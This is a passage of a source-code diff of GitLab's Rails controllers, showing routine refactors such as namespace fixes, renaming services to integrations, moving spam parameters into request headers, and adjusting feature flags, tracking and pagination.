return error_response(variable_substitution_result)
end
- prometheus_result = Prometheus::ProxyService.new(
+ prometheus_result = ::Prometheus::ProxyService.new(
proxyable,
proxy_method,
proxy_path,
diff --git a/app/controllers/concerns/redis_tracking.rb b/app/controllers/concerns/redis_tracking.rb
index 3155208f47c..c1135d2f759 100644
--- a/app/controllers/concerns/redis_tracking.rb
+++ b/app/controllers/concerns/redis_tracking.rb
@@ -12,12 +12,13 @@
# You can also pass custom conditions using `if:`, using the same format as with Rails callbacks.
# You can also pass an optional block that calculates and returns a custom id to track.
module RedisTracking
+ include Gitlab::Tracking::Helpers
extend ActiveSupport::Concern
class_methods do
def track_redis_hll_event(*controller_actions, name:, if: nil, &block)
custom_conditions = Array.wrap(binding.local_variable_get('if'))
- conditions = [:trackable_request?, *custom_conditions]
+ conditions = [:trackable_html_request?, *custom_conditions]
after_action only: controller_actions, if: conditions do
track_unique_redis_hll_event(name, &block)
@@ -37,10 +38,6 @@ module RedisTracking
Gitlab::UsageDataCounters::HLLRedisCounter.track_event(event_name, values: unique_id)
end
- def trackable_request?
- request.format.html? && request.headers['DNT'] != '1'
- end
-
def visitor_id
return cookies[:visitor_id] if cookies[:visitor_id].present?
return unless current_user
diff --git a/app/controllers/concerns/spammable_actions.rb b/app/controllers/concerns/spammable_actions.rb
index 9e861d2859d..eb1223f22a9 100644
--- a/app/controllers/concerns/spammable_actions.rb
+++ b/app/controllers/concerns/spammable_actions.rb
@@ -47,31 +47,16 @@ module SpammableActions
end
end
- def spammable_params
- # NOTE: For the legacy reCAPTCHA implementation based on the HTML/HAML form, the
- # 'g-recaptcha-response' field name comes from `Recaptcha::ClientHelper#recaptcha_tags` in the
- # recaptcha gem, which is called from the HAML `_recaptcha_form.html.haml` form.
- #
- # It is used in the `Recaptcha::Verify#verify_recaptcha` to extract the value from `params`,
- # if the `response` option is not passed explicitly.
- #
- # Instead of relying on this behavior, we are extracting and passing it explicitly. This will
- # make it consistent with the newer, modern reCAPTCHA verification process as it will be
- # implemented via the GraphQL API and in Vue components via the native reCAPTCHA Javascript API,
- # which requires that the recaptcha response param be obtained and passed explicitly.
- #
- # It can also be expanded to multiple fields when we move to future alternative captcha
- # implementations such as FriendlyCaptcha. See https://gitlab.com/gitlab-org/gitlab/-/issues/273480
-
- # After this newer GraphQL/JS API process is fully supported by the backend, we can remove the
- # check for the 'g-recaptcha-response' field and other HTML/HAML form-specific support.
- captcha_response = params['g-recaptcha-response'] || params[:captcha_response]
-
- {
- request: request,
- spam_log_id: params[:spam_log_id],
- captcha_response: captcha_response
- }
+ # TODO: This method is currently only needed for issue create, to convert spam/CAPTCHA values from
+ # params, and instead be passed as headers, as the spam services now all expect. It can be removed
+ # when issue create is is converted to a client/JS based approach instead of the legacy HAML
+ # `_recaptcha_form.html.haml` which is rendered via the `projects/issues/verify` template.
+ # In that case, which is based on the legacy reCAPTCHA implementation using the HTML/HAML form,
+ # the 'g-recaptcha-response' field name comes from `Recaptcha::ClientHelper#recaptcha_tags` in the
+ # recaptcha gem, which is called from the HAML `_recaptcha_form.html.haml` form.
+ def extract_legacy_spam_params_to_headers
+ request.headers['X-GitLab-Captcha-Response'] = params['g-recaptcha-response'] || params[:captcha_response]
+ request.headers['X-GitLab-Spam-Log-Id'] = params[:spam_log_id]
end
def spammable
diff --git a/app/controllers/concerns/wiki_actions.rb b/app/controllers/concerns/wiki_actions.rb
index b7f6691ef4b..848b7ee44c5 100644
--- a/app/controllers/concerns/wiki_actions.rb
+++ b/app/controllers/concerns/wiki_actions.rb
@@ -14,8 +14,7 @@ module WikiActions
before_action { respond_to :html }
before_action :authorize_read_wiki!
- before_action :authorize_create_wiki!, only: [:edit, :create]
- before_action :authorize_admin_wiki!, only: :destroy
+ before_action :authorize_create_wiki!, only: [:edit, :create, :destroy]
before_action :wiki
before_action :page, only: [:show, :edit, :update, :history, :destroy, :diff]
diff --git a/app/controllers/dashboard/milestones_controller.rb b/app/controllers/dashboard/milestones_controller.rb
index e17b16c26a2..1369e82a69b 100644
--- a/app/controllers/dashboard/milestones_controller.rb
+++ b/app/controllers/dashboard/milestones_controller.rb
@@ -13,7 +13,7 @@ class Dashboard::MilestonesController < Dashboard::ApplicationController
@milestones = milestones.page(params[:page])
end
format.json do
- render json: milestones.to_json(only: [:id, :title], methods: :name)
+ render json: milestones.to_json(only: [:id, :title, :due_date], methods: :name)
end
end
end
diff --git a/app/controllers/dashboard/todos_controller.rb b/app/controllers/dashboard/todos_controller.rb
index 782c8c293fd..25ac0af9731 100644
--- a/app/controllers/dashboard/todos_controller.rb
+++ b/app/controllers/dashboard/todos_controller.rb
@@ -3,7 +3,6 @@
class Dashboard::TodosController < Dashboard::ApplicationController
include ActionView::Helpers::NumberHelper
include PaginatedCollection
- include Analytics::UniqueVisitsHelper
before_action :authorize_read_project!, only: :index
before_action :authorize_read_group!, only: :index
diff --git a/app/controllers/groups/application_controller.rb b/app/controllers/groups/application_controller.rb
index a3bbfc8be0d..f6c71ac8087 100644
--- a/app/controllers/groups/application_controller.rb
+++ b/app/controllers/groups/application_controller.rb
@@ -13,8 +13,16 @@ class Groups::ApplicationController < ApplicationController
before_action :set_sorting
requires_cross_project_access
+ helper_method :can_manage_members?
+
private
+ def can_manage_members?(group = @group)
+ strong_memoize(:can_manage_members) do
+ can?(current_user, :admin_group_member, group)
+ end
+ end
+
def group
@group ||= find_routable!(Group, params[:group_id] || params[:id])
end
diff --git a/app/controllers/groups/boards_controller.rb b/app/controllers/groups/boards_controller.rb
index 3d8cdd766bf..04b4d8ea9a7 100644
--- a/app/controllers/groups/boards_controller.rb
+++ b/app/controllers/groups/boards_controller.rb
@@ -8,6 +8,7 @@ class Groups::BoardsController < Groups::ApplicationController
before_action :assign_endpoint_vars
before_action do
push_frontend_feature_flag(:graphql_board_lists, group, default_enabled: false)
+ push_frontend_feature_flag(:issue_boards_filtered_search, group, default_enabled: :yaml)
push_frontend_feature_flag(:board_multi_select, group, default_enabled: :yaml)
push_frontend_feature_flag(:swimlanes_buffered_rendering, group, default_enabled: :yaml)
push_frontend_feature_flag(:iteration_cadences, group, default_enabled: :yaml)
diff --git a/app/controllers/groups/group_members_controller.rb b/app/controllers/groups/group_members_controller.rb
index 8d9059d271f..d5e7653dea2 100644
--- a/app/controllers/groups/group_members_controller.rb
+++ b/app/controllers/groups/group_members_controller.rb
@@ -22,8 +22,6 @@ class Groups::GroupMembersController < Groups::ApplicationController
feature_category :authentication_and_authorization
- helper_method :can_manage_members?
-
def index
@sort = params[:sort].presence || sort_value_name
@@ -53,12 +51,6 @@ class Groups::GroupMembersController < Groups::ApplicationController
private
- def can_manage_members?
- strong_memoize(:can_manage_members) do
- can?(current_user, :admin_group_member, @group)
- end
- end
-
def present_invited_members(invited_members)
present_members(invited_members
.page(params[:invited_members_page])
diff --git a/app/controllers/groups/milestones_controller.rb b/app/controllers/groups/milestones_controller.rb
index e9dce3947dd..63eff750d1b 100644
--- a/app/controllers/groups/milestones_controller.rb
+++ b/app/controllers/groups/milestones_controller.rb
@@ -15,7 +15,7 @@ class Groups::MilestonesController < Groups::ApplicationController
@milestones = milestones.page(params[:page])
end
format.json do
- render json: milestones.to_json(only: [:id, :title], methods: :name)
+ render json: milestones.to_json(only: [:id, :title, :due_date], methods: :name)
end
end
end
diff --git a/app/controllers/groups/runners_controller.rb b/app/controllers/groups/runners_controller.rb
index b02b0e85d38..1cff658dd52 100644
--- a/app/controllers/groups/runners_controller.rb
+++ b/app/controllers/groups/runners_controller.rb
@@ -7,7 +7,7 @@ class Groups::RunnersController < Groups::ApplicationController
before_action :runner, only: [:edit, :update, :destroy, :pause, :resume, :show]
- feature_category :continuous_integration
+ feature_category :runner
def show
end
diff --git a/app/controllers/groups/variables_controller.rb b/app/controllers/groups/variables_controller.rb
index 00ddb8d736c..9dbbd385ea8 100644
--- a/app/controllers/groups/variables_controller.rb
+++ b/app/controllers/groups/variables_controller.rb
@@ -6,7 +6,7 @@ module Groups
skip_cross_project_access_check :show, :update
- feature_category :continuous_integration
+ feature_category :pipeline_authoring
def show
respond_to do |format|
diff --git a/app/controllers/help_controller.rb b/app/controllers/help_controller.rb
index 06906001ef0..a1fb74cf277 100644
--- a/app/controllers/help_controller.rb
+++ b/app/controllers/help_controller.rb
@@ -13,7 +13,7 @@ class HelpController < ApplicationController
def index
# Remove YAML frontmatter so that it doesn't look weird
- @help_index = File.read(Rails.root.join('doc', 'README.md')).sub(YAML_FRONT_MATTER_REGEXP, '')
+ @help_index = File.read(Rails.root.join('doc', 'index.md')).sub(YAML_FRONT_MATTER_REGEXP, '')
# Prefix Markdown links with `help/` unless they are external links.
# '//' not necessarily part of URL, e.g., mailto:mail@example.com
diff --git a/app/controllers/import/bulk_imports_controller.rb b/app/controllers/import/bulk_imports_controller.rb
index 9d6c0a003c4..e99b8cfa0c7 100644
--- a/app/controllers/import/bulk_imports_controller.rb
+++ b/app/controllers/import/bulk_imports_controller.rb
@@ -10,7 +10,7 @@ class Import::BulkImportsController < ApplicationController
POLLING_INTERVAL = 3_000
- rescue_from BulkImports::Clients::HTTP::ConnectionError, with: :bulk_import_connection_error
+ rescue_from BulkImports::Error, with: :bulk_import_connection_error
def configure
session[access_token_key] = configure_params[access_token_key]&.strip
@@ -87,7 +87,7 @@ class Import::BulkImportsController < ApplicationController
def client
@client ||= BulkImports::Clients::HTTP.new(
- uri: session[url_key],
+ url: session[url_key],
token: session[access_token_key],
per_page: params[:per_page],
page: params[:page]
diff --git a/app/controllers/invites_controller.rb b/app/controllers/invites_controller.rb
index 0a9a9e03e94..e6aae144da6 100644
--- a/app/controllers/invites_controller.rb
+++ b/app/controllers/invites_controller.rb
@@ -86,18 +86,7 @@ class InvitesController < ApplicationController
if user_sign_up?
set_session_invite_params
- experiment(:invite_signup_page_interaction, actor: member) do |experiment_instance|
- set_originating_member_id if experiment_instance.enabled?
-
- experiment_instance.use do
- redirect_to new_user_registration_path(invite_email: member.invite_email), notice: _("To accept this invitation, create an account or sign in.")
- end
- experiment_instance.try do
- redirect_to new_users_sign_up_invite_path(invite_email: member.invite_email)
- end
-
- experiment_instance.track(:view)
- end
+ redirect_to new_user_registration_path(invite_email: member.invite_email), notice: _("To accept this invitation, create an account or sign in.")
else
redirect_to new_user_session_path(sign_in_redirect_params), notice: sign_in_notice
end
@@ -106,11 +95,7 @@ class InvitesController < ApplicationController
def set_session_invite_params
session[:invite_email] = member.invite_email
- set_originating_member_id if Members::InviteEmailExperiment.initial_invite_email?(params[:invite_type])
- end
-
- def set_originating_member_id
- session[:originating_member_id] = member.id
+ session[:originating_member_id] = member.id if Members::InviteEmailExperiment.initial_invite_email?(params[:invite_type])
end
def sign_in_redirect_params
diff --git a/app/controllers/jira_connect/events_controller.rb b/app/controllers/jira_connect/events_controller.rb
index d833491b8f7..fe66e742c44 100644
--- a/app/controllers/jira_connect/events_controller.rb
+++ b/app/controllers/jira_connect/events_controller.rb
@@ -19,7 +19,7 @@ class JiraConnect::EventsController < JiraConnect::ApplicationController
end
def uninstalled
- if current_jira_installation.destroy
+ if JiraConnectInstallations::DestroyService.execute(current_jira_installation, jira_connect_base_path, jira_connect_events_uninstalled_path)
head :ok
else
head :unprocessable_entity
diff --git a/app/controllers/metrics_controller.rb b/app/controllers/metrics_controller.rb
index 1ef1e12bb02..a0c307a0a03 100644
--- a/app/controllers/metrics_controller.rb
+++ b/app/controllers/metrics_controller.rb
@@ -30,7 +30,7 @@ class MetricsController < ActionController::Base
def system_metrics
Gitlab::Metrics::System.summary.merge(
- worker_id: Prometheus::PidProvider.worker_id
+ worker_id: ::Prometheus::PidProvider.worker_id
)
end
end
diff --git a/app/controllers/profiles/gpg_keys_controller.rb b/app/controllers/profiles/gpg_keys_controller.rb
index 7f04927f517..9e16d195b00 100644
--- a/app/controllers/profiles/gpg_keys_controller.rb
+++ b/app/controllers/profiles/gpg_keys_controller.rb
@@ -22,7 +22,7 @@ class Profiles::GpgKeysController < Profiles::ApplicationController
end
def destroy
- @gpg_key.destroy
+ GpgKeys::DestroyService.new(current_user).execute(@gpg_key)
respond_to do |format|
format.html { redirect_to profile_gpg_keys_url, status: :found }
diff --git a/app/controllers/profiles/personal_access_tokens_controller.rb b/app/controllers/profiles/personal_access_tokens_controller.rb
index ba539ef808d..8dc9697c56d 100644
--- a/app/controllers/profiles/personal_access_tokens_controller.rb
+++ b/app/controllers/profiles/personal_access_tokens_controller.rb
@@ -9,7 +9,11 @@ class Profiles::PersonalAccessTokensController < Profiles::ApplicationController
def index
set_index_vars
- @personal_access_token = finder.build
+ scopes = params[:scopes].split(',').map(&:squish).select(&:present?).map(&:to_sym) unless params[:scopes].nil?
+ @personal_access_token = finder.build(
+ name: params[:name],
+ scopes: scopes
+ )
end
def create
diff --git a/app/controllers/projects/artifacts_controller.rb b/app/controllers/projects/artifacts_controller.rb
index f6a92b07295..7bb3ed1d109 100644
--- a/app/controllers/projects/artifacts_controller.rb
+++ b/app/controllers/projects/artifacts_controller.rb
@@ -15,7 +15,7 @@ class Projects::ArtifactsController < Projects::ApplicationController
MAX_PER_PAGE = 20
- feature_category :continuous_integration
+ feature_category :build_artifacts
def index
# Loading artifacts is very expensive in projects with a lot of artifacts.
diff --git a/app/controllers/projects/blob_controller.rb b/app/controllers/projects/blob_controller.rb
index c6c9237292d..08066acb45c 100644
--- a/app/controllers/projects/blob_controller.rb
+++ b/app/controllers/projects/blob_controller.rb
@@ -23,6 +23,10 @@ class Projects::BlobController < Projects::ApplicationController
# We need to assign the blob vars before `authorize_edit_tree!` so we can
# validate access to a specific ref.
before_action :assign_blob_vars
+
+ # Since BlobController doesn't use assign_ref_vars, we have to call this explicitly
+ before_action :rectify_renamed_default_branch!, only: [:show]
+
before_action :authorize_edit_tree!, only: [:new, :create, :update, :destroy]
before_action :commit, except: [:new, :create]
@@ -140,11 +144,15 @@ class Projects::BlobController < Projects::ApplicationController
end
def commit
- @commit = @repository.commit(@ref)
+ @commit ||= @repository.commit(@ref)
return render_404 unless @commit
end
+ def redirect_renamed_default_branch?
+ action_name == 'show'
+ end
+
def assign_blob_vars
@id = params[:id]
@ref, @path = extract_ref(@id)
@@ -152,6 +160,12 @@ class Projects::BlobController < Projects::ApplicationController
render_404
end
+ def rectify_renamed_default_branch!
+ @commit ||= @repository.commit(@ref)
+
+ super
+ end
+
# rubocop: disable CodeReuse/ActiveRecord
def after_edit_path
from_merge_request = MergeRequestsFinder.new(current_user, project_id: @project.id).find_by(iid: params[:from_merge_request_iid])
diff --git a/app/controllers/projects/boards_controller.rb b/app/controllers/projects/boards_controller.rb
index 43c9046f850..035b76abfd6 100644
--- a/app/controllers/projects/boards_controller.rb
+++ b/app/controllers/projects/boards_controller.rb
@@ -9,6 +9,7 @@ class Projects::BoardsController < Projects::ApplicationController
before_action do
push_frontend_feature_flag(:swimlanes_buffered_rendering, project, default_enabled: :yaml)
push_frontend_feature_flag(:graphql_board_lists, project, default_enabled: :yaml)
+ push_frontend_feature_flag(:issue_boards_filtered_search, project, default_enabled: :yaml)
push_frontend_feature_flag(:board_multi_select, project, default_enabled: :yaml)
push_frontend_feature_flag(:iteration_cadences, project&.group, default_enabled: :yaml)
end
diff --git a/app/controllers/projects/build_artifacts_controller.rb b/app/controllers/projects/build_artifacts_controller.rb
index 148080a71f4..d5655d40429 100644
--- a/app/controllers/projects/build_artifacts_controller.rb
+++ b/app/controllers/projects/build_artifacts_controller.rb
@@ -8,7 +8,7 @@ class Projects::BuildArtifactsController < Projects::ApplicationController
before_action :extract_ref_name_and_path
before_action :validate_artifacts!, except: [:download]
- feature_category :continuous_integration
+ feature_category :build_artifacts
def download
redirect_to download_project_job_artifacts_path(project, job, params: request.query_parameters)
diff --git a/app/controllers/projects/commit_controller.rb b/app/controllers/projects/commit_controller.rb
index 3d2398f7ee3..6748be06ded 100644
--- a/app/controllers/projects/commit_controller.rb
+++ b/app/controllers/projects/commit_controller.rb
@@ -52,7 +52,8 @@ class Projects::CommitController < Projects::ApplicationController
# rubocop: disable CodeReuse/ActiveRecord
def pipelines
@pipelines = @commit.pipelines.order(id: :desc)
- @pipelines = @pipelines.where(ref: params[:ref]).page(params[:page]).per(30) if params[:ref]
+ @pipelines = @pipelines.where(ref: params[:ref]) if params[:ref]
+ @pipelines = @pipelines.page(params[:page])
respond_to do |format|
format.html
diff --git a/app/controllers/projects/cycle_analytics_controller.rb b/app/controllers/projects/cycle_analytics_controller.rb
index d1d27286c68..db5ba51ee01 100644
--- a/app/controllers/projects/cycle_analytics_controller.rb
+++ b/app/controllers/projects/cycle_analytics_controller.rb
@@ -4,15 +4,19 @@ class Projects::CycleAnalyticsController < Projects::ApplicationController
include ActionView::Helpers::DateHelper
include ActionView::Helpers::TextHelper
include CycleAnalyticsParams
- include Analytics::UniqueVisitsHelper
include GracefulTimeoutHandling
+ include RedisTracking
before_action :authorize_read_cycle_analytics!
- track_unique_visits :show, target_id: 'p_analytics_valuestream'
+ track_redis_hll_event :show, name: 'p_analytics_valuestream'
feature_category :planning_analytics
+ before_action do
+ push_licensed_feature(:cycle_analytics_for_groups) if project.licensed_feature_available?(:cycle_analytics_for_groups)
+ end
+
def show
@cycle_analytics = Analytics::CycleAnalytics::ProjectLevel.new(project: @project, options: options(cycle_analytics_project_params))
diff --git a/app/controllers/projects/environments/prometheus_api_controller.rb b/app/controllers/projects/environments/prometheus_api_controller.rb
index 97810d7d439..94fe67b5e85 100644
--- a/app/controllers/projects/environments/prometheus_api_controller.rb
+++ b/app/controllers/projects/environments/prometheus_api_controller.rb
@@ -14,6 +14,6 @@ class Projects::Environments::PrometheusApiController < Projects::ApplicationCon
end
def proxy_variable_substitution_service
- Prometheus::ProxyVariableSubstitutionService
+ ::Prometheus::ProxyVariableSubstitutionService
end
end
diff --git a/app/controllers/projects/feature_flags_controller.rb b/app/controllers/projects/feature_flags_controller.rb
index a59824b1085..b99c233411a 100644
--- a/app/controllers/projects/feature_flags_controller.rb
+++ b/app/controllers/projects/feature_flags_controller.rb
@@ -13,10 +13,6 @@ class Projects::FeatureFlagsController < Projects::ApplicationController
before_action :ensure_flag_writable!, only: [:update]
before_action :exclude_legacy_flags_check, only: [:edit]
- before_action do
- push_frontend_feature_flag(:feature_flag_permissions)
- end
-
feature_category :feature_flags
def index
diff --git a/app/controllers/projects/forks_controller.rb b/app/controllers/projects/forks_controller.rb
index 9e42d218ceb..0f00fda4687 100644
--- a/app/controllers/projects/forks_controller.rb
+++ b/app/controllers/projects/forks_controller.rb
@@ -17,7 +17,7 @@ class Projects::ForksController < Projects::ApplicationController
feature_category :source_code_management
before_action do
- push_frontend_feature_flag(:fork_project_form)
+ push_frontend_feature_flag(:fork_project_form, @project, default_enabled: :yaml)
end
def index
diff --git a/app/controllers/projects/graphs_controller.rb b/app/controllers/projects/graphs_controller.rb
index ad39b317b31..7a7961c28bb 100644
--- a/app/controllers/projects/graphs_controller.rb
+++ b/app/controllers/projects/graphs_controller.rb
@@ -2,14 +2,14 @@
class Projects::GraphsController < Projects::ApplicationController
include ExtractsPath
- include Analytics::UniqueVisitsHelper
+ include RedisTracking
# Authorize
before_action :require_non_empty_project
before_action :assign_ref_vars
before_action :authorize_read_repository_graphs!
- track_unique_visits :charts, target_id: 'p_analytics_repo'
+ track_redis_hll_event :charts, name: 'p_analytics_repo'
feature_category :source_code_management
diff --git a/app/controllers/projects/import/jira_controller.rb b/app/controllers/projects/import/jira_controller.rb
index 8418a607659..46c4761b0ea 100644
--- a/app/controllers/projects/import/jira_controller.rb
+++ b/app/controllers/projects/import/jira_controller.rb
@@ -25,9 +25,9 @@ module Projects
false
end
- def jira_service
- strong_memoize(:jira_service) do
- @project.jira_service
+ def jira_integration
+ strong_memoize(:jira_integration) do
+ @project.jira_integration
end
end
diff --git a/app/controllers/projects/issues_controller.rb b/app/controllers/projects/issues_controller.rb
index 295213bd38c..5d38e431c8a 100644
--- a/app/controllers/projects/issues_controller.rb
+++ b/app/controllers/projects/issues_controller.rb
@@ -50,10 +50,9 @@ class Projects::IssuesController < Projects::ApplicationController
end
before_action only: :show do
- real_time_feature_flag = :real_time_issue_sidebar
- real_time_enabled = Gitlab::ActionCable::Config.in_app? || Feature.enabled?(real_time_feature_flag, @project)
+ real_time_enabled = Gitlab::ActionCable::Config.in_app? || Feature.enabled?(:real_time_issue_sidebar, @project)
- push_to_gon_attributes(:features, real_time_feature_flag, real_time_enabled)
+ push_to_gon_attributes(:features, :real_time_issue_sidebar, real_time_enabled)
push_frontend_feature_flag(:confidential_notes, @project, default_enabled: :yaml)
push_frontend_feature_flag(:issue_assignees_widget, @project, default_enabled: :yaml)
push_frontend_feature_flag(:labels_widget, @project, default_enabled: :yaml)
@@ -130,12 +129,14 @@ class Projects::IssuesController < Projects::ApplicationController
end
def create
- create_params = issue_params.merge(spammable_params).merge(
+ extract_legacy_spam_params_to_headers
+ create_params = issue_params.merge(
merge_request_to_resolve_discussions_of: params[:merge_request_to_resolve_discussions_of],
discussion_to_resolve: params[:discussion_to_resolve]
)
- service = ::Issues::CreateService.new(project: project, current_user: current_user, params: create_params)
+ spam_params = ::Spam::SpamParams.new_from_request(request: request)
+ service = ::Issues::CreateService.new(project: project, current_user: current_user, params: create_params, spam_params: spam_params)
@issue = service.execute
create_vulnerability_issue_feedback(issue)
@@ -335,8 +336,8 @@ class Projects::IssuesController < Projects::ApplicationController
end
def update_service
- update_params = issue_params.merge(spammable_params)
- ::Issues::UpdateService.new(project: project, current_user: current_user, params: update_params)
+ spam_params = ::Spam::SpamParams.new_from_request(request: request)
+ ::Issues::UpdateService.new(project: project, current_user: current_user, params: issue_params, spam_params: spam_params)
end
def finder_type
diff --git a/app/controllers/projects/jobs_controller.rb b/app/controllers/projects/jobs_controller.rb
index 92442fd4e28..49687a50ff6 100644
--- a/app/controllers/projects/jobs_controller.rb
+++ b/app/controllers/projects/jobs_controller.rb
@@ -17,6 +17,10 @@ class Projects::JobsController < Projects::ApplicationController
before_action :verify_proxy_request!, only: :proxy_websocket_authorize
before_action :push_jobs_table_vue, only: [:index]
+ before_action do
+ push_frontend_feature_flag(:infinitely_collapsible_sections, @project, default_enabled: :yaml)
+ end
+
layout 'project'
feature_category :continuous_integration
diff --git a/app/controllers/projects/mattermosts_controller.rb b/app/controllers/projects/mattermosts_controller.rb
index ac204427885..ebba20b285a 100644
--- a/app/controllers/projects/mattermosts_controller.rb
+++ b/app/controllers/projects/mattermosts_controller.rb
@@ -7,7 +7,7 @@ class Projects::MattermostsController < Projects::ApplicationController
layout 'project_settings'
before_action :authorize_admin_project!
- before_action :service
+ before_action :integration
before_action :teams, only: [:new]
feature_category :integrations
@@ -16,11 +16,11 @@ class Projects::MattermostsController < Projects::ApplicationController
end
def create
- result, message = @service.configure(current_user, configure_params)
+ result, message = integration.configure(current_user, configure_params)
if result
flash[:notice] = 'This service is now configured'
- redirect_to edit_project_service_path(@project, service)
+ redirect_to edit_project_service_path(@project, integration)
else
flash[:alert] = message || 'Failed to configure service'
redirect_to new_project_mattermost_path(@project)
@@ -31,15 +31,15 @@ class Projects::MattermostsController < Projects::ApplicationController
def configure_params
params.require(:mattermost).permit(:trigger, :team_id).merge(
- url: service_trigger_url(@service),
+ url: service_trigger_url(integration),
icon_url: asset_url('slash-command-logo.png', skip_pipeline: true))
end
def teams
- @teams, @teams_error_message = @service.list_teams(current_user)
+ @teams, @teams_error_message = integration.list_teams(current_user)
end
- def service
- @service ||= @project.find_or_initialize_service('mattermost_slash_commands')
+ def integration
+ @integration ||= @project.find_or_initialize_integration('mattermost_slash_commands')
end
end
diff --git a/app/controllers/projects/merge_requests/diffs_controller.rb b/app/controllers/projects/merge_requests/diffs_controller.rb
index f125952cb97..88423bec915 100644
--- a/app/controllers/projects/merge_requests/diffs_controller.rb
+++ b/app/controllers/projects/merge_requests/diffs_controller.rb
@@ -3,6 +3,7 @@
class Projects::MergeRequests::DiffsController < Projects::MergeRequests::ApplicationController
include DiffHelper
include RendersNotes
+ include Gitlab::Cache::Helpers
before_action :commit
before_action :define_diff_vars
@@ -40,7 +41,16 @@ class Projects::MergeRequests::DiffsController < Projects::MergeRequests::Applic
pagination_data: diffs.pagination_data
}
- render json: PaginatedDiffSerializer.new(current_user: current_user).represent(diffs, options)
+ if diff_options_hash[:paths].blank? && Feature.enabled?(:diffs_batch_render_cached, project, default_enabled: :yaml)
+ render_cached(
+ diffs,
+ with: PaginatedDiffSerializer.new(current_user: current_user),
+ cache_context: -> (_) { [diff_view, params[:w], params[:expanded], params[:per_page], params[:page]] },
+ **options
+ )
+ else
+ render json: PaginatedDiffSerializer.new(current_user: current_user).represent(diffs, options)
+ end
end
def diffs_metadata
@@ -193,7 +203,7 @@ class Projects::MergeRequests::DiffsController < Projects::MergeRequests::Applic
end
def track_viewed_diffs_events
- return if request.headers['DNT'] == '1'
+ return if dnt_enabled?
Gitlab::UsageDataCounters::MergeRequestActivityUniqueCounter
.track_mr_diffs_action(merge_request: @merge_request)
diff --git a/app/controllers/projects/merge_requests_controller.rb b/app/controllers/projects/merge_requests_controller.rb
index 5958c7f66e5..cfa64bbc16d 100644
--- a/app/controllers/projects/merge_requests_controller.rb
+++ b/app/controllers/projects/merge_requests_controller.rb
@@ -30,20 +30,15 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
before_action :check_user_can_push_to_source_branch!, only: [:rebase]
before_action only: [:show] do
push_frontend_feature_flag(:file_identifier_hash)
- push_frontend_feature_flag(:approvals_commented_by, @project, default_enabled: true)
push_frontend_feature_flag(:merge_request_widget_graphql, @project, default_enabled: :yaml)
- push_frontend_feature_flag(:drag_comment_selection, @project, default_enabled: true)
- push_frontend_feature_flag(:unified_diff_components, @project, default_enabled: true)
push_frontend_feature_flag(:default_merge_ref_for_diffs, @project, default_enabled: :yaml)
push_frontend_feature_flag(:core_security_mr_widget_counts, @project)
- push_frontend_feature_flag(:diffs_gradual_load, @project, default_enabled: true)
push_frontend_feature_flag(:local_file_reviews, default_enabled: :yaml)
push_frontend_feature_flag(:paginated_notes, @project, default_enabled: :yaml)
push_frontend_feature_flag(:confidential_notes, @project, default_enabled: :yaml)
push_frontend_feature_flag(:usage_data_i_testing_summary_widget_total, @project, default_enabled: :yaml)
push_frontend_feature_flag(:improved_emoji_picker, project, default_enabled: :yaml)
push_frontend_feature_flag(:diffs_virtual_scrolling, project, default_enabled: :yaml)
- push_frontend_feature_flag(:codequality_mr_diff_annotations, project, default_enabled: :yaml)
# Usage data feature flags
push_frontend_feature_flag(:users_expanding_widgets_usage_data, @project, default_enabled: :yaml)
@@ -170,7 +165,7 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
def pipelines
set_pipeline_variables
- @pipelines = @pipelines.page(params[:page]).per(30)
+ @pipelines = @pipelines.page(params[:page])
Gitlab::PollingInterval.set_header(response, interval: 10_000)
@@ -223,7 +218,7 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
end
def codequality_mr_diff_reports
- reports_response(@merge_request.find_codequality_mr_diff_reports)
+ reports_response(@merge_request.find_codequality_mr_diff_reports, head_pipeline)
end
def codequality_reports
diff --git a/app/controllers/projects/milestones_controller.rb b/app/controllers/projects/milestones_controller.rb
index dcdda18784d..630e7ccd43f 100644
--- a/app/controllers/projects/milestones_controller.rb
+++ b/app/controllers/projects/milestones_controller.rb
@@ -33,7 +33,7 @@ class Projects::MilestonesController < Projects::ApplicationController
@milestones = @milestones.page(params[:page])
end
format.json do
- render json: @milestones.to_json(only: [:id, :title], methods: :name)
+ render json: @milestones.to_json(only: [:id, :title, :due_date], methods: :name)
end
end
end
diff --git a/app/controllers/projects/pipelines_controller.rb b/app/controllers/projects/pipelines_controller.rb
index 7779f3c3b65..b4196878c4f 100644
--- a/app/controllers/projects/pipelines_controller.rb
+++ b/app/controllers/projects/pipelines_controller.rb
@@ -2,7 +2,7 @@
class Projects::PipelinesController < Projects::ApplicationController
include ::Gitlab::Utils::StrongMemoize
- include Analytics::UniqueVisitsHelper
+ include RedisTracking
before_action :disable_query_limiting, only: [:create, :retry]
before_action :pipeline, except: [:index, :new, :create, :charts, :config_variables]
@@ -14,7 +14,6 @@ class Projects::PipelinesController < Projects::ApplicationController
before_action :authorize_update_pipeline!, only: [:retry, :cancel]
before_action do
push_frontend_feature_flag(:pipeline_graph_layers_view, project, type: :development, default_enabled: :yaml)
- push_frontend_feature_flag(:pipeline_filter_jobs, project, default_enabled: :yaml)
push_frontend_feature_flag(:graphql_pipeline_details, project, type: :development, default_enabled: :yaml)
push_frontend_feature_flag(:graphql_pipeline_details_users, current_user, type: :development, default_enabled: :yaml)
end
@@ -25,7 +24,7 @@ class Projects::PipelinesController < Projects::ApplicationController
around_action :allow_gitaly_ref_name_caching, only: [:index, :show]
- track_unique_visits :charts, target_id: 'p_analytics_pipelines'
+ track_redis_hll_event :charts, name: 'p_analytics_pipelines'
wrap_parameters Ci::Pipeline
@@ -43,13 +42,11 @@ class Projects::PipelinesController < Projects::ApplicationController
.new(project, current_user, index_params)
.execute
.page(params[:page])
- .per(20)
@pipelines_count = limited_pipelines_count(project)
respond_to do |format|
format.html do
- enable_pipeline_empty_state_templates_experiment
enable_code_quality_walkthrough_experiment
enable_ci_runner_templates_experiment
end
@@ -301,18 +298,6 @@ class Projects::PipelinesController < Projects::ApplicationController
params.permit(:scope, :username, :ref, :status)
end
- def enable_pipeline_empty_state_templates_experiment
- experiment(:pipeline_empty_state_templates, namespace: project.root_ancestor) do |e|
- e.exclude! unless current_user
- e.exclude! if @pipelines_count.to_i > 0
- e.exclude! if helpers.has_gitlab_ci?(project)
-
- e.control {}
- e.candidate {}
- e.record!
- end
- end
-
def enable_code_quality_walkthrough_experiment
